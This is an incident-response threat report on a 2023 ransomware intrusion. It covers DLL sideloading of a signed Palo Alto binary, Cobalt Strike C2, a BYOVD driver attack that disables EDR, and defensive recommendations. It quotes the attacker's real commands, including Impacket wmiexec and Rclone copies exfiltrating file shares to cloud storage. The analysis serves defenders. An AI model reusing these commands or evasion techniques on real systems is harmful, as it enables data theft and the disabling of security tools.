WEBINAR | A Deep-Dive into 2023 Cyber Threats
Reduce Alert Noise and False Positives
Boost your team's productivity by cutting down alert noise and false positives.
Automate Security Operations
Boost efficiency, reduce burnout, and better manage risk through automation.
Dark Web Monitoring
Online protection tuned to the need of your business.
Maximize Existing Security Investments
Improve efficiencies from existing investments in security tools.
Beyond MDR
Move your security operations beyond the limitations of MDR.
Secure with Microsoft 365 E5
Boost the power of Microsoft 365 E5 security.
Secure Multi-Cloud Environments
Improve cloud security and overcome complexity across multi-cloud environments.
Secure Mergers and Acquisitions
Control cyber risk for business acquisitions and dispersed business units.
Operational Technology
Solve security operations challenges affecting critical operational technology (OT) infrastructure.
Force-Multiply Your Security Operations
Whether you’re just starting your security journey, need to up your game, or you’re not happy with an existing service, we can help you to achieve your security goals.
Detection Investigation Response
Modernize Detection, Investigation, Response with a Security Operations Platform.
Threat Hunting
Locate and eliminate lurking threats with ReliaQuest GreyMatter
Threat Intelligence
Find cyber threats that have evaded your defenses.
Model Index
Security metrics to manage and improve security operations.
Breach and Attack Simulation
GreyMatter Verify is ReliaQuest’s automated breach and attack simulation capability.
Digital Risk Protection
Continuous monitoring of open, deep, and dark web sources to identify threats.
Phishing Analyzer
GreyMatter Phishing Analyzer removes the abuse mailbox management by automating the DIR process for you.
Integration Partners
The GreyMatter cloud-native Open XDR platform integrates with a fast-growing number of market-leading technologies.
Unify and Optimize Your Security Operations
ReliaQuest GreyMatter is a security operations platform built on an open XDR architecture and designed to help security teams increase visibility, reduce complexity, and manage risk across their security tools, including on-premises, clouds, networks, and endpoints.
Blog
Company Blog
Case Studies
Brands of the world trust ReliaQuest to achieve their security goals.
Data Sheets
Learn how to achieve your security outcomes faster with ReliaQuest GreyMatter.
eBooks
The latest security trends and perspectives to help inform your security operations.
Industry Guides and Reports
The latest security research and industry reports.
Podcasts
Catch up on the latest cybersecurity podcasts, and mindset moments from our very own mental performance coaches.
Solution Briefs
A deep dive on how ReliaQuest GreyMatter addresses security challenges.
White Papers
The latest white papers focused on security operations strategy, technology & insight.
Videos
Current and future SOC trends presented by our security experts.
Events & Webinars
Explore all upcoming company events, in-person and on-demand webinars
ReliaQuest ResourceCenter
From prevention techniques to emerging security trends, our comprehensive library can arm you with the tools you need to improve your security posture.
Threat Research
Get the latest threat analysis from the ReliaQuest Threat Research Team. ReliaQuest ShadowTalk Weekly podcast featuring discussions on the latest cybersecurity news and threat research.
Shadow Talk
ReliaQuest's ShadowTalk is a weekly podcast featuring discussions on the latest cybersecurity news and threat research. ShadowTalk's hosts come from threat intelligence, threat hunting, security research, and leadership backgrounds providing practical perspectives on the week's top cybersecurity stories.
April 25, 2024
About ReliaQuest
We bring our best attitude, energy and effort to everything we do, every day, to make security possible.
Leadership
Security is a team sport.
No Show Dogs Podcast
Mental Performance Coaches Derin McMains and Dr. Nicole Detling interview world-class performers across multiple industries.
Make It Possible
Make It Possible reflects our focus on bringing cybersecurity awareness to our communities and enabling the next generation of cybersecurity professionals.
Careers
Join our world-class team.
Press and Media Coverage
ReliaQuest newsroom covering the latest press release and media coverage.
Become a Channel Partner
When you partner with ReliaQuest, you help deliver world-class cybersecurity solutions.
Contact Us
How can we help you?
A Mindset Like No Other in the Industry
Many companies tout their cultures; at ReliaQuest, we share a mindset. We focus on four values every day to make security possible: being accountable, helpful, adaptable, and focused. These values drive development of our platform, relationships with our customers and partners, and further the ReliaQuest promise of security confidence across our customers and our own teams.
More results...
In early September 2023, ReliaQuest detected suspicious process executions within a customer’s environment, originating from the Windows debug directory. Our subsequent investigation revealed these executions as part of a more significant cyber-threat incident that resulted in double extortion: the encryption of customer data, followed by ransomware deployment and a threat to publicly release the data.
The attack pattern is noteworthy because the threat actor devoted considerable effort to avoiding detection via relatively sophisticated TTPs, including the abuse of a digitally signed and vulnerable Palo Alto Cortex XDR binary for execution via DLL sideloading, a BYOVD attack to hinder defensive measures by unhooking Endpoint Detection and Response (EDR), the use of Impacket, and the use of a renamed Rclone binary for exfiltration. In a BYOVD attack, an actor abuses the privileges provided to an otherwise legitimate, but vulnerable, driver to gain kernel-level access and disable or modify installed security tools.
This report details that activity so that security teams can become familiar with the TTPs. We also offer recommendations to avoid similar attacks in other environments.
ReliaQuest had limited visibility during this incident; a lack of east-west network traffic, operating system logs, and events from non-Windows devices made it difficult to determine the actor’s initial access point. Given the source of the lateral movement to the first device for which there were logs, we presume access was achieved by exploiting a vulnerability in NetScaler ADC: CVE-2023-3519. That vulnerability enables an unauthenticated attacker to execute arbitrary code on a vulnerable NetScaler appliance, providing initial access to the environment and a relatively straightforward path for access to Active Directory (AD) credentials and subsequent lateral movement to the rest of the domain.
This pattern of presumed exploitation aligns with the case studies presented by the US Cybersecurity and Infrastructure Security Agency (CISA).
ReliaQuest has observed the staging of tools and payloads within the same c:\windows\debug directory in several environments over the past year. The debug directory should typically only hold logs and crash dumps made by Windows as part of troubleshooting. For that reason, security teams can easily overlook it during an investigation or detection.
Unusually, the threat actor accessed a relatively small number of devices in this attack. An organizational acquisition had resulted in a relatively “flat” network, which required minimal lateral movement to get from the network edge to critical domain infrastructure; it also enabled the threat actor to move quickly without needing to rotate tools, protocols, or user contexts.
The threat actor used Impacket’s wmiexec module to laterally move within the environment to target key devices—most notably, to a domain controller, [Domain-Controller01]. Using a privileged service account, [SvcAcct1] (presumably acquired from the compromised NetScaler appliance), the threat actor executed the following command:
cmd.exe /Q /c cd windows/debug 1> \\127.0.0.1\ADMIN$\__1693526401.246018 2>&1
We identified the above command as the result of using Impacket’s wmiexec module, based on two indicators: the redirection of command output to a file on the remote ADMIN$ share (the default share used), and the filename using the execution time as an epoch timestamp, 1693526401.246018. This is shown in wmiexec’s source below:
Figure 1: Snippet of wmiexec.py showing how remote commands are constructed
The above command is also notable as it indicates the attacker was working out of the directory at:
c:\windows\debug
Shortly thereafter, in the debug directory, the attacker ingressed a DLL, ntnativeapi.dll, and a binary, cyuserserver.exe, which, notably, was digitally signed by Palo Alto as a component of their Cortex XDR agent. Because Palo Alto’s Cortex XDR product was not used in this environment, the presence of a standalone component was regarded as suspicious.
Identical Impacket use leading to the same two file writes was performed on an additional device, [Win-Server]. This additional device became the staging point for command-and-control (C2) and eventual exfiltration
Throughout our investigation, we saw the adversary establish C2 via a traditional in-memory C2 implant, but saw no indication of a secondary or redundant C2 channel. This is a departure from recent trends we have observed employed by RaaS affiliates, in which an attacker will take advantage of commercial remote monitoring and management (“RMM”) tools, such as TeamViewer or AnyDesk. The threat actor established their traditional C2 by abusing cyuserserver.exe to ultimately load a beacon into the memory of a Windows system process, avoiding traditional malware and protections, such as application control.
Performing open-source intelligence (OSINT) research into cyuserserver.exe revealed a valid signature from “Palo Alto Networks (Netherlands) B.V.” Analysis of the binary’s behavior in this incident showed that the cyuserserver.exe process loaded the threat actor’s ntnativeapi.dll library from the same directory (c:\windows\debug). OSINT results for the ntnativeapi.dll file did not return a valid signature or product information. Because the DLL had no indication of being a legitimate component and was explicitly ingressed, we determined, with high confidence, that cyuserserver.exe was abused for execution via DLL sideloading.
Figure 2: Visualization of a component of the kill chain, in which the threat actor ingresses their DLL payload and a Palo Alto binary, executes via DLL sideloading, and injects a C2 implant into dllhost.exe
DLL sideloading works by positioning a malicious payload within the same directory as the targeted vulnerable application. Because an application will first search for any required DLLs within its own directory prior to searching in additional locations, a malicious payload in the same directory will be executed in lieu of the legitimate DLL.
Through this technique, the attacker was able to execute their payload under the context of an otherwise legitimate process.
Within 12 hours of ReliaQuest identifying the cyuserserver.exe binary being abused, we disclosed the vulnerability to Palo Alto’s Product Security Incident Response Team. That team affirmed that abuse of the sideloading vulnerability described would be prevented on devices with a Cortex XDR agent installed, owing to protections offered by the product. The team also noted that a product enhancement would address the DLL sideloading issue in the next release of the binary, which is estimated for February 2024.
Shortly after the cyuserserver.exe file was written to [Win-Server], it was executed via a scheduled task. The result was a dllhost.exe process being created, then injected into, and, ultimately, establishing a connection to a Cobalt Strike team server hosted at 45.77.120[.]140 (api.whitelrose[.]com).
Tool ingress is not uncommon, but the decision to use a signed binary from a security tool to execute a malicious DLL—rather than use more common Living off the Land binaries and scripts—is unusual. It indicates an intentional and sophisticated choice to avoid common detection methods for maximum effectiveness, despite the additional level of effort required. It also raises the question of whether the threat actor discovered the sideloading vulnerability or purchased it.
Initial OSINT research into the IP address revealed reports of it hosting a C2 server for Sliver, an open-source alternative to Cobalt Strike. Reviewing the Secure Sockets Layer (SSL) certificate associated with the IP address showed that the common name (CN) was *.aliyun[.]com. That CN is associated with the default self-signed certificate for RedGuard, an open-source C2 front flow control tool.
Figure 3: Screenshot of the SSL certificate from the C2 infrastructure of api.whitelrose[.]com
Figure 4: Screenshot of the default certificate from the RedGuard GitHub repository
RedGuard enables an attacker to conceal their C2 infrastructure by providing a flow-control function, thereby enabling them to avoid unwanted traffic analysis. An attacker who is conscientious about their operational security (OPSEC) could deny or redirect traffic from known sandboxes and scanners, only allow traffic from certain countries, or limit connections to the external addresses of the devices where they have achieved a foothold.
In this case, despite the threat actor deploying their infrastructure to take advantage of a flow-control mechanism for enhanced OPSEC options, the use of a default certificate (rather than configuring RedGuard appropriately) leaves the maturity of the threat actor unclear.
Review of RedGuard’s source code showed only explicit support for Cobalt Strike. Artifacts from the device could not be obtained, but, based on the limited RedGuard support and the fact that dllhost.exe is a common Cobalt Strike spawn-to, we attributed the IP address 45.77.120[.]140 to a Cobalt Strike team server.
Figure 5: Screenshot of RedGuard code snippet showing explicit support for Cobalt Strike
For exfiltration, the threat actor took advantage of Rclone, a commercial data transfer tool designed for managing and migrating content between local and cloud storage. Rclone has become a popular utility for its ease of access (freeware), high level of configurability, and support for multi-threaded transfers, allowing data to be exfiltrated quickly.
OSINT on the masquerading Rclone binary’s associated hash revealed no associated signature or product information. This indicates that the threat actor potentially broke the signature of the Rclone binary to avoid any potential detections. By renaming the Rclone binary and removing the digital signature(s) and product information, the attacker intended to avoid static detection and weak or non-existent application control policies.
An Rclone configuration file typically contains information that helps identify the target for exfiltrated data, such as the name of the remote storage system, the type of storage system (e.g., Dropbox, MEGA), the client ID/secret used to initially authenticate to the storage system, and the access token used for subsequent authentication. In this incident, the Rclone configuration file could not be obtained before it was deleted from the disk.
The C2 implant on [Win-Server] was used to download an Rclone binary renamed firefox.exe and an Rclone configuration file, rclone.conf, in the directory:
c:\windows\debug\
At this point, the actor used the renamed Rclone binary on [Win-Server] to execute the following commands:
c:\windows\debug\firefox.exe copy \\[File-Server]\A$\[SensitiveData1 storagesite:ExfiltratedDataFolder]
c:\windows\debug\firefox.exe copy \\[File-Server]\B$\[SensitiveData1 storagesite:ExfiltratedDataFolder]
The threat actor used the Rclone flag “copy” to copy specified data on the hidden A$ and B$ shares on an accessible file server and upload that data to the remote storage system that was arbitrarily named storagesite.
The firefox.exe binary was seen resolving and connecting to dropboxapi[.]com, indicating that the threat actor used Dropbox for their remote storage system.
Prior to encryption, the threat actor had to disable existing endpoint protections, most notably an EDR sensor. To achieve this, they staged a secondary batch script payload, [tgsqd.bat], in the netlogon directory on the compromised domain controller—a directory typically used for group policy login script files.
When a user session was initiated on a domain-joined device, the secondary payload would execute with the end goal of disabling the EDR sensor on the endpoint:
cmd /c “\\[Domain-Controller01]\netlogon\[tgsqd.bat]”
When [tgsqd.bat] executed, a second randomly named payload, [ldjxy.txt], was copied from the same netlogon directory before having its extension changed from “.txt” to “.exe”, and being copied and executed within the following directory:
c:\windows\temp\
Upon execution, the newly copied [ldjxy.exe] created a new file of significance, [vulnerable-driver.sys]. OSINT on [vulnerable-driver.sys] revealed a valid digital signature from IObit, and an original file name: IObitUnlocker.sys. The driver is regarded as vulnerable and cited by Microsoft in the company’s recommended rules for explicit driver blocks.
The function of the [ldjxy.exe] file was to drop and load [vulnerable-driver.sys], which would operate in the kernel. Kernel-mode drivers operate at the Ring 0 level, allocating the highest privilege within the operating system. The driver would grant direct access to critical memory, CPU, and I/O operations, which underpin most core OS functions (including use of security tools).
By loading [vulnerable-driver.sys], the threat actor could exploit its vulnerability to disable protective drivers or other Ring 0 security tools—in this case, the EDR agents installed on the affected devices. With the EDR sensors disabled, the threat actor could begin encryption. Additionally, given that the threat actor had already gained access to a domain controller and control of a privileged service account, they had the necessary access for deployment and execution of ransomware.
The threat actor’s choice to take the time required to execute multiple steps that would further evade defenses and disable endpoint protection is not a common choice at this stage of an attack; many attackers would opt to simply deploy their encryptor. This threat actor’s methodical plan of action demonstrates operational sophistication and the effectiveness of BYOVD, although flawed by the OPSEC mistake made regarding default templates used by RedGuard.
We predict, with high confidence, that threat actors will continue to use the BYOVD technique into the long-term future (beyond one year). BYOVD has been proven to be an effective way to combat the prevalence of EDR tools. Masquerading processes used to bypass static detections will also probably continue to be another very common technique to exploit an environment unnoticed. Should organizations not adequately mitigate these techniques, there is a high probability they will be used by threat actors operating undetected to deploy ransomware and potentially commit double extortion.
The ReliaQuest Threat Research Team offers the following recommendations and best practices to establish a secure foundation against the general threats and TTPs mentioned in this report.
We frequently see threat actors taking advantage of commercial services because they can often bypass reputation-based controls, and organizations are hesitant to block such services. In this incident we saw the abuse of Dropbox for data exfiltration, although cloud storage is both popular and effective for exfiltration.
By establishing which services are legitimately in use, organizations can implement categorical restrictions via their DNS or proxy, reducing the attack surface available and shifting the burden back to the threat actor.
Organizations can only act on what they can see within their environment. It is crucial to ensure that critical infrastructure and the wider environment are forwarding activity logs to a unified location. This will enable security teams to implement correlation-based detection rules and investigate suspicious events thoroughly.
In this incident, most of the visibility came from EDR sensors, leaving blind spots before the threat actor moved to a monitored device, and across the environment once the threat actor was able to unhook the EDR.
Driver-based attacks have presented an ongoing threat to Windows systems. With Microsoft blocking the load of unsigned kernel-mode drivers in 64-bit Vista and later versions, threat actors have begun introducing signed-but-vulnerable drivers to execute malware.
Windows provides protection options out of the box, including blocking drivers upon being written via attack surface reduction rules, and specific guidance for mitigating abuse of known vulnerable drivers via Windows Defender Application control.
The indicators of compromise (IoCs) listed in the following table are associated with the infrastructure and tools used by the attacker in this incident. ReliaQuest maintains lists of IoCs and detection rules that can quickly be deployed across customer environments.
Get a live demo of our security operations platform, GreyMatter, and learn how you can improve visibility, reduce complexity, and manage risk in your organization.